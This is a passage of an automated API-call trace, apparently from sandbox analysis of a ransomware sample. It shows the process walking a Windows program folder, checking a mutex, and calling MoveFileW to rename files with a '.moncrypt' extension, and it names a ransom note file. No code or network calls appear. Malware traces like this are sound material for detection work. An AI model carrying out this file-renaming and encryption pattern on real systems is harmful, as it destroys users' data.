lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.024] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png", cchWideChar=81, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 81 [0058.024] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\OldAge\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.024] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.024] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.024] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.024] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.024] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.025] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png.moncrypt")) returned 0 [0058.025] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.025] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.025] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.025] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.025] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.025] GlobalUnlock (hMem=0x44000c) returned 0 [0058.025] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.025] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.025] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.026] GlobalUnlock (hMem=0x44000c) returned 0 [0058.026] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.026] GlobalUnlock (hMem=0x440004) returned 0 [0058.026] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.026] CharLowerBuffW (in: lpsz="NavigationUp_SelectionSubpicture.png", cchLength=0x24 | out: lpsz="navigationup_selectionsubpicture.png") returned 0x24 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.027] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.027] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.027] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.027] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.027] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.028] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.028] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png.moncrypt")) returned 0 [0058.028] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0058.028] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.028] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.028] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.028] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.028] GlobalUnlock (hMem=0x440004) returned 0 [0058.028] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.028] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.029] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.029] GlobalUnlock (hMem=0x440004) returned 0 [0058.029] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.029] GlobalUnlock (hMem=0x44000c) returned 0 [0058.029] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.029] CharLowerBuffW (in: lpsz="vintage.png", cchLength=0xb | out: lpsz="vintage.png") returned 0xb [0058.029] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0x54e280 [0058.029] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.029] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.029] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.029] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png", dwFileAttributes=0x20) returned 0 [0058.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.030] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png.moncrypt")) returned 0 [0058.030] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.030] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.030] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.030] GlobalUnlock (hMem=0x44000c) returned 0 [0058.030] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.030] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.030] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.030] GlobalUnlock (hMem=0x44000c) returned 0 [0058.030] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.030] GlobalUnlock (hMem=0x440004) returned 0 [0058.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43c1cf60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43c1cf60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.031] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.031] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.031] GlobalLock (hMem=0x440004) returned 0x550170 [0058.031] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.031] GlobalUnlock (hMem=0x440004) returned 0 [0058.031] GlobalLock (hMem=0x440004) returned 0x550170 [0058.031] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.031] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.031] GlobalUnlock (hMem=0x440004) returned 0 [0058.031] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.031] GlobalUnlock (hMem=0x44000c) returned 0 [0058.031] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.031] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43c1cf60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43c1cf60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.031] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.031] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.031] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.031] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.031] GlobalUnlock (hMem=0x44000c) returned 0 [0058.031] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.031] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.031] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.031] GlobalUnlock (hMem=0x44000c) returned 0 [0058.031] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.031] GlobalUnlock (hMem=0x440004) returned 0 [0058.031] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.032] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.032] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.032] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.032] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.032] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.032] GlobalUnlock (hMem=0x440004) returned 0 [0058.032] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.032] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.032] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.032] GlobalUnlock (hMem=0x440004) returned 0 [0058.032] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.032] GlobalUnlock (hMem=0x44000c) returned 0 [0058.032] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.032] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0058.032] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.032] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.032] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.032] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.032] GlobalUnlock (hMem=0x44000c) returned 0 [0058.032] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.032] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.032] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.032] GlobalUnlock (hMem=0x44000c) returned 0 [0058.032] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.032] GlobalUnlock (hMem=0x440004) returned 0 [0058.032] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.032] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, 